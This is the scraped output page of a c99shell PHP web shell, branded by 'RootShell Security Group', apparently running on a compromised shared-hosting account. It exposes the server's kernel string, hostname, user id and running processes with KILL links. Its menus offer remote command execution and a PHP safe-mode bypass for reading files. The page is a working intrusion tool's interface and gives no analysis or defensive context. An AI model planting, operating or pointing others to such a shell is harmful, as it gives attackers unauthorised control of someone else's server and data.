Software: Apache. PHP/5.4.45 uname -a: Linux webm002.cluster007.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue uid=763961(ebenisteaz) gid=100(users) groups=100(users) Safe-mode: OFF (not secure) /proc/irq/471/nvme0q14/ dr-xr-xr-x |
Processes: | |||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | |
ebenist+ | 70548 | 0.6 | 0.0 | 1179624 | 57472 | ? | S | 00:30 | 0:00 | php-fpm: pool ebenisteaz (php5.4) | KILL |
ebenist+ | 71326 | 0.4 | 0.0 | 1179596 | 57272 | ? | S | 00:30 | 0:00 | php-fpm: pool ebenisteaz (php5.4) | KILL |
ebenist+ | 101676 | 0.0 | 0.0 | 2960 | 1772 | ? | R | 00:31 | 0:00 | ps -aux | KILL |
ebenist+ | 101678 | 0.0 | 0.0 | 2452 | 596 | ? | R | 00:31 | 0:00 | lsattr -a | KILL |
ebenist+ | 69593 | 0.5 | 0.0 | 1179880 | 57728 | ? | S | 00:30 | 0:00 | php-fpm: pool ebenisteaz (php5.4) | KILL |
ebenist+ | 68582 | 0.6 | 0.0 | 1181164 | 58272 | ? | S | 00:30 | 0:00 | php-fpm: pool ebenisteaz (php5.4) | KILL |
ebenist+ | 13385 | 0.8 | 0.0 | 1181676 | 59248 | ? | S | 00:29 | 0:00 | php-fpm: pool ebenisteaz (php5.4) | KILL |
ebenist+ | 62368 | 0.6 | 0.0 | 1179596 | 57272 | ? | S | 00:30 | 0:00 | php-fpm: pool ebenisteaz (php5.4) | KILL |
ebenist+ | 66050 | 0.6 | 0.0 | 1179624 | 57428 | ? | S | 00:30 | 0:00 | php-fpm: pool ebenisteaz (php5.4) | KILL |
ebenist+ | 66086 | 0.5 | 0.0 | 1179624 | 57472 | ? | S | 00:30 | 0:00 | php-fpm: pool ebenisteaz (php5.4) | KILL |
ebenist+ | 13380 | 0.6 | 0.0 | 1179880 | 57680 | ? | S | 00:29 | 0:00 | php-fpm: pool ebenisteaz (php5.4) | KILL |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c99shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | Generation time: 0.0139 ]-- |